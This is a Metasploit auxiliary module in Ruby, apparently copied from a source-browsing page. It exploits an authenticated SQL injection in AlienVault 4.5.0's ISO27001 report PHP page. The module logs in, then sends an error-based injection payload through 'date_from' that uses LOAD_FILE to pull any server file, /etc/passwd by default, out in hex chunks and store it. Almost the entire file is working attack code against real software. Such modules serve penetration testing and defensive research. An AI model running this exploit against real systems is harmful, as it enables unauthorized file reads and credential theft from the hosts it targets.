Path: blob/master/modules/auxiliary/gather/alienvault_iso27001_sqli.rb
21545 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read",13'Description' => %q{14AlienVault 4.5.0 is susceptible to an authenticated SQL injection attack via a PNG15generation PHP file. This module exploits this to read an arbitrary file from16the file system. Any authenticated user is able to exploit it, as administrator17privileges aren't required.18},19'License' => MSF_LICENSE,20'Author' => [21'Brandon Perry <bperry.volatile[at]gmail.com>' # meatpistol module22],23'References' => [24['EDB', '32644']25],26'DefaultOptions' => {27'SSL' => true28},29'Platform' => ['linux'],30'Privileged' => false,31'DisclosureDate' => '2014-03-30',32'Notes' => {33'Reliability' => UNKNOWN_RELIABILITY,34'Stability' => UNKNOWN_STABILITY,35'SideEffects' => UNKNOWN_SIDE_EFFECTS36}37)38)3940register_options(41[42Opt::RPORT(443),43OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]),44OptString.new('USERNAME', [ true, 'Single username' ]),45OptString.new('PASSWORD', [ true, 'Single password' ]),46OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ])47]48)49end5051def run52print_status("Get a valid session cookie...")53res = send_request_cgi({54'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')55})5657unless res and res.code == 20058print_error("Server did not respond in an expected way")59return60end6162cookie = res.get_cookies6364if cookie.blank?65print_error("Could not retrieve a cookie")66return67end6869post = {70'embed' => '',71'bookmark_string' => '',72'user' => datastore['USERNAME'],73'passu' => datastore['PASSWORD'],74'pass' => Rex::Text.encode_base64(datastore['PASSWORD'])75}7677print_status("Login...")7879res = send_request_cgi({80'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'),81'method' => 'POST',82'vars_post' => post,83'cookie' => cookie84})8586unless res and res.code == 30287print_error("Server did not respond in an expected way")88return89end9091unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/')92print_error("Authentication failed")93return94end9596cookie = res.get_cookies9798if cookie.blank?99print_error("Could not retrieve the authenticated cookie")100return101end102103i = 0104full = ''105filename = datastore['FILEPATH'].unpack("H*")[0]106left_marker = Rex::Text.rand_text_alpha(6)107right_marker = Rex::Text.rand_text_alpha(6)108109print_status("Exploiting SQLi...")110111loop do112file = sqli(left_marker, right_marker, i, cookie, filename)113return if file.nil?114break if file.empty?115116str = [file].pack("H*")117full << str118vprint_status(str)119120i = i + 1121end122123path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH'])124print_good("File stored at path: " + path)125end126127def sqli(left_marker, right_marker, i, cookie, filename)128pay = "2014-02-28' AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"129pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),"130pay << "0x20)),#{(50 * i) + 1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"131pay << " GROUP BY x)a) AND 'xnDa'='xnDa"132133get = {134'date_from' => pay,135'date_to' => '2014-03-30'136}137138res = send_request_cgi({139'uri' => normalize_uri(target_uri.path, 'ossim', 'report', 'BusinessAndComplianceISOPCI', 'ISO27001Bar1.php'),140'cookie' => cookie,141'vars_get' => get142})143144if res and res.body and res.body =~ /#{left_marker}(.*)#{right_marker}/145return $1146else147print_error("Server did not respond in an expected way")148return nil149end150end151end152153154